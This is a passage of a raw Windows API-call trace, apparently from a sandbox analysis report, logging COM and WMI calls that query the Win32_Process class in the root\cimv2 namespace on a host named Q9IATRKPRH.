WbemLocator:IUnknown:Release (This=0x1aa03820) returned 0x1 [0133.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbdad90, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa03860) returned 0x0 [0133.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbdad90, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa03820) returned 0x0 [0133.014] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa03820, pProxy=0x1bbdad90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0133.014] WbemLocator:IUnknown:Release (This=0x1aa03820) returned 0x2 [0133.014] WbemLocator:IUnknown:Release (This=0x1aa03860) returned 0x1 [0133.014] CoTaskMemFree (pv=0x1bbc6950) [0133.014] WbemLocator:IUnknown:AddRef (This=0x1bbdad90) returned 0x2 [0133.014] WbemLocator:IUnknown:Release (This=0x1bbf1be0) returned 0x0 [0133.015] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0133.015] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0133.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbdad90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa03830) returned 0x0 [0133.015] WbemLocator:IRpcOptions:Query (in: This=0x1aa03830, pPrx=0x1bbf1c60, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0133.015] WbemLocator:IUnknown:Release (This=0x1aa03830) returned 0x2 [0133.015] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0133.015] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0133.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbdad90, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbdad90) returned 0x0 [0133.015] WbemLocator:IUnknown:Release (This=0x1bbdad90) returned 0x2 [0133.015] SysStringLen (param_1=0x0) returned 0x0 [0133.015] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc04e0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0133.015] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0133.016] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.016] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc01e0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0133.016] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc01e0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0133.016] IWbemServices:GetObject (in: This=0x1bbdad90, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbd5890, ppCallResult=0x0) returned 0x0 [0133.019] IWbemClassObject:Get (in: This=0x1bbd5890, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0133.019] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0133.019] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0133.019] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0133.020] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0133.020] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0133.020] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.022] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bbf1be0) returned 0x0 [0133.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1be0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0133.022] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1be0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bbc05a0) returned 0x0 [0133.022] WbemDefPath:IUnknown:Release (This=0x1bbf1be0) returned 0x0 [0133.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bbc05a0) returned 0x0 [0133.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0133.023] WbemDefPath:IUnknown:AddRef (This=0x1bbc05a0) returned 0x3 [0133.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0133.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0133.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bbf1c00) returned 0x0 [0133.023] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1c00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.023] WbemDefPath:IUnknown:Release (This=0x1bbf1c00) returned 0x3 [0133.023] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0133.023] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0133.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0133.023] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x2 [0133.023] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x1 [0133.023] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0133.023] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0133.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc05a0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbc05a0) returned 0x0 [0133.023] WbemDefPath:IUnknown:AddRef (This=0x1bbc05a0) returned 0x3 [0133.023] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x2 [0133.023] WbemDefPath:IWbemPath:SetText (This=0x1bbc05a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.024] IWbemClassObject:Get (in: This=0x1bbd5890, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0133.024] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0133.024] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0133.024] IWbemClassObject:Get (in: This=0x1bbd5890, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0133.024] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0133.024] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0133.024] IWbemClassObject:Get (in: This=0x1bbd5890, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0133.025] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0133.025] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0133.025] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0133.025] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0133.025] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0133.025] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.027] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1dc0) returned 0x0 [0133.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1dc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0133.027] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1dc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc0660) returned 0x0 [0133.027] WbemDefPath:IUnknown:Release (This=0x1bbf1dc0) returned 0x0 [0133.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc0660) returned 0x0 [0133.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0133.028] WbemDefPath:IUnknown:AddRef (This=0x1bbc0660) returned 0x3 [0133.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0133.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0133.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1e00) returned 0x0 [0133.028] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1e00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.028] WbemDefPath:IUnknown:Release (This=0x1bbf1e00) returned 0x3 [0133.028] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0133.028] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0133.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0133.028] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x2 [0133.028] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x1 [0133.028] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0133.028] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0133.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0660, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc0660) returned 0x0 [0133.028] WbemDefPath:IUnknown:AddRef (This=0x1bbc0660) returned 0x3 [0133.029] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x2 [0133.029] WbemDefPath:IWbemPath:SetText (This=0x1bbc0660, uMode=0x4, pszPath="") returned 0x0 [0133.029] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0133.029] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0133.029] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0133.029] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.032] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1dc0) returned 0x0 [0133.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1dc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0133.032] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1dc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc0720) returned 0x0 [0133.032] WbemDefPath:IUnknown:Release (This=0x1bbf1dc0) returned 0x0 [0133.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc0720) returned 0x0 [0133.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0133.033] WbemDefPath:IUnknown:AddRef (This=0x1bbc0720) returned 0x3 [0133.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0133.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0133.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1e40) returned 0x0 [0133.033] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1e40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.033] WbemDefPath:IUnknown:Release (This=0x1bbf1e40) returned 0x3 [0133.033] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0133.033] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0133.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0133.033] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x2 [0133.033] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x1 [0133.033] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0133.033] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0133.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0720, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc0720) returned 0x0 [0133.034] WbemDefPath:IUnknown:AddRef (This=0x1bbc0720) returned 0x3 [0133.034] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x2 [0133.034] WbemDefPath:IWbemPath:SetText (This=0x1bbc0720, uMode=0x4, pszPath="") returned 0x0 [0133.034] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0720, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0133.034] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0660, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0133.034] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbc0720, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0133.034] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0720, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0133.034] WbemDefPath:IWbemPath:SetServer (This=0x1bbc0720, Name="Q9IATRKPRH") returned 0x0 [0133.034] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 